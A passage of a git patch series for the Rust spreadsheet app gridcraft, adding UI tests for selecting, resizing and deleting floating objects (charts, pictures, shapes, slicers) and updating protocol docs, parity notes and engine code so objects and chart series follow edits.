h.state_mut().select_object_id(Some(id)); h.state_mut().grid.pane = Some("formatChart".into()); h.run_steps(2); h.get_by_role_and_label(Role::DisclosureTriangle, "Chart Type").click(); diff --git a/crates/ui-egui/tests/it/interaction.rs b/crates/ui-egui/tests/it/interaction.rs index e876d736f..39baf5f66 100644 --- a/crates/ui-egui/tests/it/interaction.rs +++ b/crates/ui-egui/tests/it/interaction.rs @@ -392,12 +392,12 @@ fn delete_key_removes_the_selected_chart() { click_cell(&mut h, "C10"); click_chart(&mut h, id); - assert_eq!(h.state().selected_chart, Some(id)); + assert_eq!(h.state().selected_chart(), Some(id)); key(&mut h, Key::Delete, Modifiers::NONE); assert!(h.state().session.active().unwrap().wb.active().unwrap().charts.is_empty()); - assert_eq!(h.state().selected_chart, None); + assert_eq!(h.state().selected_chart(), None); assert_eq!(value(&h, "A1"), Value::Number(1.0)); } @@ -412,7 +412,7 @@ fn inserted_chart_is_selected_so_delete_removes_it() { let id = h.state_mut().run("insert.chart", json!({"type": "column"})).unwrap()["chart"].as_u64().unwrap() as u32; h.run_steps(2); - assert_eq!(h.state().selected_chart, Some(id), "the new chart is selected"); + assert_eq!(h.state().selected_chart(), Some(id), "the new chart is selected"); key(&mut h, Key::Delete, Modifiers::NONE); @@ -621,7 +621,7 @@ fn recommended_charts_dialog_inserts_the_chosen_chart() { assert!(h.state().dialog.is_none()); let kinds: Vec<_> = h.state().session.active().unwrap().wb.active().unwrap().charts.iter().map(|c| c.kind).collect(); assert_eq!(kinds, [gridcraft_engine::model::ChartKind::Pie]); - assert!(h.state().selected_chart.is_some(), "the new chart is selected"); + assert!(h.state().selected_chart().is_some(), "the new chart is selected"); // Without numbers there is nothing to recommend: a message, no dialog. h.state_mut().session.run("selection.set", json!({"range": "A1:A4"})).unwrap(); @@ -680,7 +680,7 @@ fn select_data_dialog_sets_the_category_axis_labels() { s.execute("range.setValues", json!({"range": "A1", "values": [["Year", "Sales"], [2020, 5], [2021, 7], [2022, 9]]})).unwrap(); let id = s.execute("insert.chart", json!({"range": "A1:B4", "type": "line"})).unwrap()["chart"].as_u64().unwrap(); let mut h = harness(s); - h.state_mut().selected_chart = Some(id as u32); + h.state_mut().select_object_id(Some(id as u32)); h.state_mut().open_dialog("selectData", json!({"chart": id})); h.run_steps(2); let d = h.state_mut().dialog.as_mut().unwrap(); diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index 302bc9c49..ca72568da 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -68,6 +68,7 @@ mod more_colors; mod native_print; mod nowrap_line_breaks; mod number_stored_as_text; +mod objects; mod open_encrypted; mod outline; mod page_layout_view; diff --git a/crates/ui-egui/tests/it/objects.rs b/crates/ui-egui/tests/it/objects.rs new file mode 100644 index 000000000..733a1427a --- /dev/null +++ b/crates/ui-egui/tests/it/objects.rs @@ -0,0 +1,302 @@ +//! Floating objects through real pointer and keyboard input: selecting every kind, resizing from +//! each of the eight handles, deleting with Delete and Backspace, and double-click routing. + +use egui::{Event, Key, Modifiers, PointerButton, Pos2, Rect, vec2}; +use gridcraft_engine::Session; +use gridcraft_engine::core::{CellRef, Value}; +use gridcraft_engine::model::{ObjKind, ObjRef}; +use gridcraft_ui_egui::objects::{Handle, OpenAction, open_action}; +use gridcraft_ui_egui::{SheetApp, chartview, grid::Geo}; +use serde_json::json; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +struct Objects { + chart: ObjRef, + image: ObjRef, + shape: ObjRef, + text_box: ObjRef, + /// A slicer lying over the chart's right edge: slicers paint on top and take the click. + slicer: ObjRef, +} + +fn at(a: &str) -> CellRef { + CellRef::parse(a).unwrap() +} + +fn id(v: &serde_json::Value, key: &str) -> u32 { + v[key].as_u64().unwrap() as u32 +} + +fn fixture() -> (Harness, Objects) { + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Qty"], ["East", 3], ["West", 5], ["East", 2], ["North", 8]]})).unwrap(); + s.execute("insert.table", json!({"range": "A1:B5", "name": "Sales"})).unwrap(); + s.execute("selection.set", json!({"cell": "A2"})).unwrap(); + let slicer = id(&s.execute("insert.slicer", json!({"column": "Region", "at": "G9", "width": 140, "height": 120})).unwrap(), "slicer"); + s.execute("cell.set", json!({"cell": "R30", "input": "keep me"})).unwrap(); + s.execute("selection.set", json!({"cell": "R30"})).unwrap(); + let chart = + id(&s.execute("insert.chart", json!({"range": "B1:B5", "type": "column", "at": "D8", "width": 220, "height": 140})).unwrap(), "chart"); + let shape = id(&s.execute("insert.shape", json!({"kind": "rectangle", "at": "C20", "width": 120, "height": 80})).unwrap(), "shape"); + let text_box = id(&s.execute("insert.textBox", json!({"at": "H20", "width": 140, "height": 60, "text": "Note"})).unwrap(), "shape"); + let image = id(&s.execute("insert.picture", json!({"base64": tiny_png(), "at": "M8", "width": 60, "height": 60})).unwrap(), "image"); + let objs = Objects { + chart: ObjRef::new(ObjKind::Chart, chart), + image: ObjRef::new(ObjKind::Image, image), + shape: ObjRef::new(ObjKind::Shape, shape), + text_box: ObjRef::new(ObjKind::Shape, text_box), + slicer: ObjRef::new(ObjKind::Slicer, slicer), + }; + let mut h = egui_kittest::Harness::builder() + .with_size(vec2(1400.0, 900.0)) + .with_step_dt(1.0 / 60.0) + .with_os(egui::os::OperatingSystem::Mac) + .build_ui_state( + |ui, app: &mut SheetApp| { + let ctx = ui.ctx().clone(); + app.logic(&ctx); + app.ui(ui); + }, + SheetApp::new(s, Default::default()), + ); + h.run_steps(4); + (h, objs) +} + +fn tiny_png() -> String { + let mut bytes = Vec::new(); + image::RgbaImage::from_pixel(2, 2, image::Rgba([40, 120, 200, 255])) + .write_to(&mut std::io::Cursor::new(&mut bytes), image::ImageFormat::Png) + .unwrap(); + gridcraft_engine::io::base64_encode(&bytes) +} + +fn rect(h: &Harness, o: ObjRef) -> Rect { + let app = h.state(); + let sh = app.session.doc().unwrap().wb.active().unwrap(); + chartview::object_rect(&Geo::new(sh, app.grid.rect.unwrap(), app.view().scroll), sh, o).unwrap() +} + +/// A point that selects `o` without doing anything else: the chart's lower left (clear of the +/// slicer), the slicer's header (clear of its value tiles), the middle of anything else. +fn grab_point(h: &Harness, objs: &Objects, o: ObjRef) -> Pos2 { + let r = rect(h, o); + if o == objs.chart { + r.left_bottom() + vec2(12.0, -12.0) + } else if o == objs.slicer { + r.left_top() + vec2(14.0, 10.0) + } else { + r.center() + } +} + +fn exists(h: &Harness, o: ObjRef) -> bool { + h.state().session.doc().unwrap().wb.active().unwrap().has_object(o) +} + +fn pointer(h: &mut Harness, p: Pos2, pressed: bool) { + h.input_mut().events.push(Event::PointerMoved(p)); + h.input_mut().events.push(Event::PointerButton { pos: p, button: PointerButton::Primary, pressed, modifiers: Modifiers::NONE }); + h.step(); +} + +fn click(h: &mut Harness, p: Pos2) { + pointer(h, p, true); + pointer(h, p, false); + h.run_steps(2); +} + +fn double_click(h: &mut Harness, p: Pos2) { + // Separate the gesture from earlier clicks (egui's triple-click window). + h.run_steps(45); + click(h, p); + click(h, p); +} + +fn drag(h: &mut Harness, from: Pos2, to: Pos2) { + h.run_steps(45); + pointer(h, from, true); + h.input_mut().events.push(Event::PointerMoved(from + (to - from) * 0.25)); + h.step(); + h.input_mut().events.push(Event::PointerMoved(to)); + h.step(); + pointer(h, to, false); + h.run_steps(2); +} + +fn key(h: &mut Harness, key: Key) { + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: true, repeat: false, modifiers: Modifiers::NONE }); + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed: false, repeat: false, modifiers: Modifiers::NONE }); + h.run_steps(2); +} + +fn kept(h: &Harness) -> Value { + h.state().session.doc().unwrap().wb.active().unwrap().value(at("R30")) +} + +#[test] +fn a_click_selects_every_kind_and_slicers_win_over_charts() { + let (mut h, o) = fixture(); + for obj in [o.chart, o.image, o.shape, o.text_box, o.slicer] { + let p = grab_point(&h, &o, obj); + click(&mut h, p); + assert_eq!(h.state().selected_object, Some(obj), "{obj:?}"); + } + let (chart, slicer) = (rect(&h, o.chart), rect(&h, o.slicer)); + assert!(chart.contains(grab_point(&h, &o, o.slicer)) && slicer.intersects(chart), "the slicer's header lies over the chart"); + assert_eq!(h.state().selected_chart(), None, "a slicer is not a chart"); + click(&mut h, chart.right_bottom() + vec2(120.0, 160.0)); + assert_eq!(h.state().selected_object, None, "a click on the cells clears the object selection"); + assert_eq!(kept(&h), Value::text("keep me")); +} + +#[test] +fn every_handle_resizes_only_its_own_edges() { + let (mut h, o) = fixture(); + for obj in [o.shape, o.image, o.slicer, o.chart] { + let p = grab_point(&h, &o, obj); + click(&mut h, p); + for handle in Handle::ALL { + let before = rect(&h, obj); + let (sx, sy) = handle.sides(); + let d = vec2(f32::from(sx) * 20.0, f32::from(sy) * 16.0); + let grab = handle.pos(before); + drag(&mut h, grab, grab + d); + let after = rect(&h, obj); + let moved = |edge: f32, was: f32, by: f32| (edge - (was + by)).abs() < 1.0; + assert!(moved(after.left(), before.left(), if sx < 0 { d.x } else { 0.0 }), "{obj:?} {handle:?} left"); + assert!(moved(after.right(), before.right(), if sx > 0 { d.x } else { 0.0 }), "{obj:?} {handle:?} right"); + assert!(moved(after.top(), before.top(), if sy < 0 { d.y } else { 0.0 }), "{obj:?} {handle:?} top {before:?} {after:?}"); + assert!(moved(after.bottom(), before.bottom(), if sy > 0 { d.y } else { 0.0 }), "{obj:?} {handle:?} bottom"); + assert_eq!(h.state().selected_object, Some(obj), "resizing keeps the selection"); + } + } + // Shrinking past the opposite edge stops short of it. + let before = rect(&h, o.shape); + click(&mut h, before.center()); + drag(&mut h, Handle::Right.pos(before), Handle::Right.pos(before) - vec2(before.width() + 50.0, 0.0)); + let after = rect(&h, o.shape); + assert!(after.width() > 1.0 && (after.left() - before.left()).abs() < 1.0); + // Dragging the body moves the object without resizing it. + let before = rect(&h, o.image); + click(&mut h, before.center()); + drag(&mut h, before.center(), before.center() + vec2(30.0, 25.0)); + let after = rect(&h, o.image); + assert!((after.min - before.min - vec2(30.0, 25.0)).length() < 1.0 && (after.size() - before.size()).length() < 0.5); + assert_eq!(kept(&h), Value::text("keep me")); +} + +#[test] +fn handles_show_resize_cursors_and_the_body_a_move_cursor() { + let (mut h, o) = fixture(); + let r = rect(&h, o.shape); + click(&mut h, r.center()); + for (handle, icon) in [ + (Handle::TopLeft, egui::CursorIcon::ResizeNwSe), + (Handle::Top, egui::CursorIcon::ResizeVertical), + (Handle::BottomLeft, egui::CursorIcon::ResizeNeSw), + ] { + h.input_mut().events.push(Event::PointerMoved(handle.pos(r))); + h.run_steps(2); + assert_eq!(h.output().platform_output.cursor_icon, icon, "{handle:?}"); + } + h.input_mut().events.push(Event::PointerMoved(r.center())); + h.run_steps(2); + assert_eq!(h.output().platform_output.cursor_icon, egui::CursorIcon::Move); +} + +#[test] +fn delete_and_backspace_delete_the_selected_object_not_the_cells() { + let (mut h, o) = fixture(); + let p = rect(&h, o.shape).center(); + click(&mut h, p); + key(&mut h, Key::Delete); + assert!(!exists(&h, o.shape)); + assert_eq!(h.state().selected_object, None); + assert_eq!(kept(&h), Value::text("keep me")); + + let p = rect(&h, o.image).center(); + click(&mut h, p); + key(&mut h, Key::Backspace); + assert!(!exists(&h, o.image)); + assert!(h.state().editor.is_none(), "Backspace on an object must not start a cell editor"); + assert_eq!(kept(&h), Value::text("keep me")); + + let p = grab_point(&h, &o, o.slicer); + click(&mut h, p); + assert_eq!(h.state().selected_object, Some(o.slicer)); + key(&mut h, Key::Escape); + assert_eq!(h.state().selected_object, None, "Escape drops the object selection"); + key(&mut h, Key::Delete); + assert!(exists(&h, o.slicer), "with nothing selected, Delete is for the cells"); + assert_eq!(kept(&h), Value::Empty); + + // Undo brings the object back; a redo that removes the selected object clears the selection. + h.state_mut().run("edit.undo", json!({})).unwrap(); + h.state_mut().run("edit.undo", json!({})).unwrap(); + assert!(exists(&h, o.image)); + h.state_mut().selected_object = Some(o.image); + h.state_mut().run("edit.redo", json!({})).unwrap(); + h.run_steps(2); + assert!(!exists(&h, o.image)); + assert_eq!(h.state().selected_object, None); +} + +#[test] +fn double_clicks_route_by_kind() { + let (mut h, o) = fixture(); + { + let sh = h.state().session.doc().unwrap().wb.active().unwrap(); + assert_eq!(open_action(sh, o.text_box), OpenAction::EditText(o.text_box.id)); + assert_eq!(open_action(sh, o.chart), OpenAction::FormatChart(o.chart.id)); + for obj in [o.shape, o.image, o.slicer] { + assert_eq!(open_action(sh, obj), OpenAction::Select, "{obj:?}"); + } + } + let p = rect(&h, o.text_box).center(); + double_click(&mut h, p); + assert!(h.state().text_box_editor.as_ref().is_some_and(|e| e.id == o.text_box.id), "text boxes keep in-place editing"); + let outside = rect(&h, o.text_box).right_bottom() + vec2(200.0, 150.0); + click(&mut h, outside); + assert!(h.state().text_box_editor.is_none()); + + let p = grab_point(&h, &o, o.chart); + double_click(&mut h, p); + assert_eq!(h.state().grid.pane.as_deref(), Some("formatChart")); + assert_eq!(h.state().selected_object, Some(o.chart)); + + for obj in [o.shape, o.image, o.slicer] { + let p = grab_point(&h, &o, obj); + double_click(&mut h, p); + assert_eq!(h.state().selected_object, Some(obj)); + assert!(h.state().text_box_editor.is_none() && h.state().editor.is_none(), "{obj:?} opens no text editor"); + } + assert_eq!(kept(&h), Value::text("keep me")); +} + +#[test] +fn on_a_right_to_left_sheet_the_mirrored_handles_resize() { + let (mut h, o) = fixture(); + h.state_mut().run("view.rightToLeft", json!({"on": true})).unwrap(); + h.run_steps(3); + let screen = |h: &Harness| { + let app = h.state(); + let sh = app.session.doc().unwrap().wb.active().unwrap(); + let geo = Geo::new(sh, app.grid.rect.unwrap(), app.view().scroll); + geo.mirror_rect(chartview::object_rect(&geo, sh, o.image).unwrap()) + }; + let before = screen(&h); + click(&mut h, before.center()); + assert_eq!(h.state().selected_object, Some(o.image), "the picture is hit where it is drawn"); + // The logical bottom-right handle is drawn at the bottom-left; dragging it leftwards widens the picture. + let grab = before.left_bottom(); + h.input_mut().events.push(Event::PointerMoved(grab)); + h.run_steps(2); + assert_eq!(h.output().platform_output.cursor_icon, egui::CursorIcon::ResizeNeSw); + drag(&mut h, grab, grab + vec2(-20.0, 16.0)); + let after = screen(&h); + assert!((after.left() - (before.left() - 20.0)).abs() < 1.0 && (after.right() - before.right()).abs() < 1.0, "{before:?} {after:?}"); + assert!((after.bottom() - (before.bottom() + 16.0)).abs() < 1.0 && (after.top() - before.top()).abs() < 1.0, "{before:?} {after:?}"); +} diff --git a/crates/ui-egui/tests/it/show_objects.rs b/crates/ui-egui/tests/it/show_objects.rs index f5eec206d..d3eaf3e0a 100644 --- a/crates/ui-egui/tests/it/show_objects.rs +++ b/crates/ui-egui/tests/it/show_objects.rs @@ -86,11 +86,11 @@ fn hidden_objects_do_not_take_clicks() { let (mut h, id) = fixture(); let at = inside(&h); click(&mut h, at); - assert_eq!(h.state().selected_chart, Some(id), "the click lands on the rectangle while it shows"); + assert_eq!(h.state().selected_object.map(|o| o.id), Some(id), "the click lands on the rectangle while it shows"); assert_eq!(active_cell(&h), CellRef::parse("A1").unwrap()); ctrl_6(&mut h); - assert_eq!(h.state().selected_chart, None, "hiding objects drops the selection on one"); + assert_eq!(h.state().selected_object, None, "hiding objects drops the selection on one"); click(&mut h, at); - assert_eq!(h.state().selected_chart, None); + assert_eq!(h.state().selected_object, None); assert_eq!(active_cell(&h), CellRef::parse("E4").unwrap(), "the click selects the cell under the hidden rectangle"); } diff --git a/crates/ui-egui/tests/it/text_box_editing.rs b/crates/ui-egui/tests/it/text_box_editing.rs index b89a59e2e..03b9efaa8 100644 --- a/crates/ui-egui/tests/it/text_box_editing.rs +++ b/crates/ui-egui/tests/it/text_box_editing.rs @@ -102,7 +102,7 @@ fn double_click_edits_multiline_text_and_commits_on_outside_click() { let (mut h, id) = fixture(); edit_box(&mut h, id); h.check_accessibility(); - assert_eq!(h.state().selected_chart, Some(id)); + assert_eq!(h.state().selected_object.map(|o| o.id), Some(id)); let anchor = shape(&h, id).anchor; let start = shape_rect(&h, id).min + vec2(5.0, 10.0); drag(&mut h, start, start + vec2(60.0, 0.0)); diff --git a/docs/control-protocol.md b/docs/control-protocol.md index 3dee729d3..bbe00c51f 100644 --- a/docs/control-protocol.md +++ b/docs/control-protocol.md @@ -58,7 +58,8 @@ connection; nothing sent after it runs. Blank lines are skipped. | `document.inspect` | | Workbook summary: sheets, used ranges, tables, charts, names, selection, undo labels | | `sheet.read` | `{range?, sheet?, formulas?, formatted?}` | Values (or formulas / displayed text) of a range | | `cell.get` | `{cell?}` | One cell: value, formula, displayed text, style, merge, comment, link | -| `ui.inspect` | | UI state: ribbon tab, editor, open dialog, Backstage page, message, grid rect, scroll, perf, `windows` (as `window.list`) and `activeWindow` | +| `ui.inspect` | | UI state: ribbon tab, editor, open dialog, Backstage page, message, selected object, grid rect, scroll, perf, `windows` (as `window.list`) and `activeWindow` | +| `ui.object.select` | `{id?, kind?}` | Selects a floating object on the active sheet (no `id` clears the selection); replies `{selected, rect}`, the rect in window points | | `ui.click` / `ui.drag` / `ui.move` | `{x, y, toX?, toY?, button?, count?, shift?, cmd?, alt?}` | Real pointer input in window points; refused with an error if it would leave more than 10,000 synthetic events or 8 MiB of synthetic input queued (pointer, key, text and move events share this budget) | | `ui.cell.click` / `ui.cell.drag` | `{cell}` / `{from, to}` | Pointer input at a cell's centre (works in point mode while editing); same shared queue limits | | `ui.key` / `ui.text` | `{key, shift?, cmd?, alt?, ctrl?}` / `{text}` | Keyboard input (typing in the grid starts editing); same shared queue limits, and one `ui.text` string may be at most 1 MiB | @@ -90,6 +91,13 @@ include `window` or `doc` to run it in that window, as with `engine.execute`; th (`window.*`, `view.newWindow`, `view.hideWindow`, `view.unhideWindow`, `view.switchWindows`) read them as their own parameters. +`ui.inspect` reports the selected floating object as `selectedObject: {kind, id}` (or `null`), +where `kind` is `chart`, `image`, `shape` or `slicer`; the same names go in the `kind` parameter +of `object.delete`, `object.move`, `object.setAnchorMode` and the `arrange.*` commands. +`selectedChart` remains for existing clients: the id when the selection is a chart, otherwise +`null`. With an object selected, `ui.key {key: "Delete"}` (or Backspace) deletes the object +instead of clearing cells, and Escape clears the selection. + ### Windows Every open workbook has one or more windows; View › New Window (`view.newWindow`) adds another diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 0e1a98f47..a7c1345d5 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-30 · **Change:** minor (checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-31 · **Change:** minor (every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -67,7 +67,7 @@ this logic, with one undo step. | A Table's header names and filter buttons in the column headings once its header row scrolls away | done (#1423): with the active cell in the Table, as in Excel; the button opens the column's filter menu, the rest of the heading still selects the column. Plain AutoFilter ranges keep their letters (Excel does the same) | | Copy as HTML table for other apps | done (#36, 10-10) | | Context menu on cells | 16 items (Cut, Copy, Paste, Paste Special, Insert, Delete, Clear Contents, Filter by value, Sort, New Comment, New Note, Format Cells, Pick From Drop-down List, Define Name, Link). Insert Copied Cells (Insert Cut Cells for whole rows/columns) while the clipboard holds a copy (#21). Show Details on a PivotTable's value, subtotal or grand total cell (`pivot.showDetails`). Missing: Insert Cut Cells for a cell block, paste-option icons, Quick Analysis, Get Data from Table, Show Changes, Smart Lookup | -| Move and resize charts, pictures and shapes | charts can't be resized (#190) | +| Move and resize charts, pictures and shapes | done (#190, #213): charts, pictures, shapes and slicers select with a frame of eight handles; each handle resizes only its own edges (they never cross), the body moves the object, and the pointer shows a resize or move cursor; Delete or Backspace deletes the selected object and Escape drops the selection; double-click edits a text box, opens Format Chart for a chart. Rotation handle, Shift for proportional resizing, Alt to snap to cells and multi-object selection missing | | Context menus on row/column headers, sheet tabs, charts, shapes | headers and tabs done; objects partial | | Quick Analysis (Ctrl+Q) | missing | | Smooth scrolling, scrollbars | done; vertical scrollbar added 10-09 (#73); horizontal scrollbar in the tab bar (60/40 split, drag, track click pages) 10-13 (#176, #840); dragging the handle at the scrollbar's left edge gives the tabs more or less of the bar; each workbook keeps its share while it is open (not saved in the file) | @@ -194,6 +194,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Floating objects: one selection for charts, pictures, shapes and slicers, eight resize handles with matching cursors (right-to-left sheets included), Escape drops the selection | | 2026-10-30 | minor | Checkbox cells print and export to PDF as boxes, as on screen: unchecked white with a grey outline, checked green with a white tick (#2972). They printed their value as TRUE or FALSE; other values in a checkbox cell still print as text | | 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-29 | minor | Insert Hyperlink opens with an existing link's address, display text and ScreenTip (#2876). An address-only edit preserves the cell's content and formula; Cancel leaves the link unchanged, and Undo restores the edit | From 2fce1a9b420d44ff95fea1dba7f35748ce039807 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 11 Oct 2026 21:38:58 -0400 Subject: [PATCH 010/167] Objects: every kind follows edits; chart series follow cut-moves and sheet deletes Structural edits and sorts kept three hand-indexed lists (charts, images, shapes) in step in two places, and slicers were left out of both, so a slicer stayed put when rows were inserted above it. Chart series were rewritten for inserted and deleted lines and for sheet renames, but not for cut-moves or sheet deletes, which left them pointing at the old cells. - Inserting and deleting rows and columns and sorting walk `Sheet::object_anchors` and `object_anchors_mut`, one fixed order over every kind, so slicers now follow their cells by their anchor mode like the other objects, and a new kind cannot be forgotten in one of the passes. - `rewrite_cell_links` is the one place that rewrites the references floating objects hold (chart series values, categories and names, and the source block a chart was made from). `rewrite_all_formulas` calls it, which covers inserting and deleting lines and cells and cut-moves on one sheet or across sheets; renaming and deleting a sheet call it too, so a series into a deleted sheet becomes #REF!, as a formula does. - Copying a sheet gives its charts, pictures, shapes and slicers fresh ids, keeping ids unique across the workbook, which object selection and the `{kind, id}` commands rely on. Tests: every kind through row and column inserts and deletes, an absolute shape, a sort and undo; a slicer through inserted rows; chart series through a cut-move, a sheet rename, a sheet delete and undo; ids after a sheet copy. --- ROADMAP.md | 2 +- crates/engine/src/cmd/data/sort.rs | 38 +++------ crates/engine/src/cmd/edit.rs | 2 +- crates/engine/src/cmd/edit/paste_special.rs | 28 +++++++ crates/engine/src/cmd/sheet.rs | 44 +++-------- crates/engine/src/cmd/sheet/tabs.rs | 25 +++--- crates/engine/src/tests/objects.rs | 87 +++++++++++++++++++++ 7 files changed, 155 insertions(+), 71 deletions(-) diff --git a/ROADMAP.md b/ROADMAP.md index 43af2299b..8afe566c6 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -135,7 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| -| 2026-10-31 | Floating objects: charts, pictures, shapes and slicers share one selection with a frame of eight resize handles (each moves only its own edges, also on right-to-left sheets); Delete or Backspace deletes the selected object and Escape drops the selection; `ui.inspect` reports `selectedObject` and `ui.object.select` selects any object (#190, #213) | +| 2026-10-31 | Floating objects: charts, pictures, shapes and slicers share one selection with a frame of eight resize handles (each moves only its own edges, also on right-to-left sheets); Delete or Backspace deletes the selected object and Escape drops the selection; slicers follow row and column edits and sorts like the other objects; chart series follow cut-moves and sheet renames and deletes; a copied sheet gives its objects fresh ids; `ui.inspect` reports `selectedObject` and `ui.object.select` selects any object (#190, #213) | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | diff --git a/crates/engine/src/cmd/data/sort.rs b/crates/engine/src/cmd/data/sort.rs index a36527650..d335a7695 100644 --- a/crates/engine/src/cmd/data/sort.rs +++ b/crates/engine/src/cmd/data/sort.rs @@ -195,8 +195,7 @@ fn do_sort(s: &mut Session, sheet: usize, r: RangeRef, header: bool, keys: Vec = - sh.images.iter().map(|o| o.anchor).chain(sh.charts.iter().map(|o| o.anchor)).chain(sh.shapes.iter().map(|o| o.anchor)).collect(); + let objs: Vec = sh.object_anchors().copied().collect(); let descs: Vec<(u32, u32, f32, f32)> = objs .iter() .map(|a| { @@ -242,33 +241,22 @@ fn do_sort(s: &mut Session, sheet: usize, r: RangeRef, header: bool, keys: Vec o1 { - continue; - } - let na = sorted_anchor(shm, a, desc, by_cols, b0, b1, &dst_of); - if na != a { - if i < ni { - if let Some(o) = shm.images.get_mut(i) { - o.anchor = na; - } - } else if i < ni + nch { - if let Some(o) = shm.charts.get_mut(i - ni) { - o.anchor = na; - } - } else if let Some(o) = shm.shapes.get_mut(i - ni - nch) { - o.anchor = na; - } - } + let new_anchors: Vec = objs + .into_iter() + .zip(descs) + .map(|(a, desc)| { + let other = if by_cols { a.cell.row } else { a.cell.col }; + if other < o0 || other > o1 { a } else { sorted_anchor(shm, a, desc, by_cols, b0, b1, &dst_of) } + }) + .collect(); + for (a, n) in shm.object_anchors_mut().zip(new_anchors) { + *a = n; } for (c, _) in moved { cx.changed.push((sheet, c)); diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 27e217474..4b5c98a8b 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -35,7 +35,7 @@ use go_to::go_to_special; #[cfg(test)] use go_to::{GO_TO_MAX_AREAS, GO_TO_RECENT, reference_parts}; use paste_special::paste_special; -pub(crate) use paste_special::rewrite_all_formulas; +pub(crate) use paste_special::{rewrite_all_formulas, rewrite_cell_links}; use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_set}; pub fn specs() -> Vec { diff --git a/crates/engine/src/cmd/edit/paste_special.rs b/crates/engine/src/cmd/edit/paste_special.rs index 0a6d14247..6c3f6baa4 100644 --- a/crates/engine/src/cmd/edit/paste_special.rs +++ b/crates/engine/src/cmd/edit/paste_special.rs @@ -355,4 +355,32 @@ pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: & n.formula = gridcraft_formula::print(&new); } } + rewrite_cell_links(wb, |host, expr| gridcraft_formula::adjust::adjust(expr, host, target, e)); +} + +/// Runs `f` over every reference a floating object holds (a chart's series values, categories +/// and name, and the source block it was made from). Every edit that moves references calls it: +/// inserting and deleting lines and cells and cut-moves (through [`rewrite_all_formulas`]), and +/// renaming and deleting sheets. `f` maps a reference held by an object on the sheet named `host` +/// to its new form; text that does not parse is kept. A source block that no longer exists is +/// dropped. +pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) { + for si in 0..wb.sheets.len() { + let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty()).map(|s| s.name.clone()) else { continue }; + let Some(sh) = wb.sheet_mut(si) else { continue }; + let fix = |text: &str| -> String { + match gridcraft_formula::parse(text) { + Ok(expr) => gridcraft_formula::print(&f(&host, expr)), + Err(_) => text.to_string(), + } + }; + for ch in sh.charts.iter_mut() { + ch.source = ch.source.as_deref().map(fix).filter(|s| !s.contains("#REF!")); + for se in ch.series.iter_mut() { + se.values = fix(&se.values); + se.categories = se.categories.as_deref().map(fix); + se.name = se.name.as_deref().map(fix); + } + } + } } diff --git a/crates/engine/src/cmd/sheet.rs b/crates/engine/src/cmd/sheet.rs index 32122abd6..fa9c915c7 100644 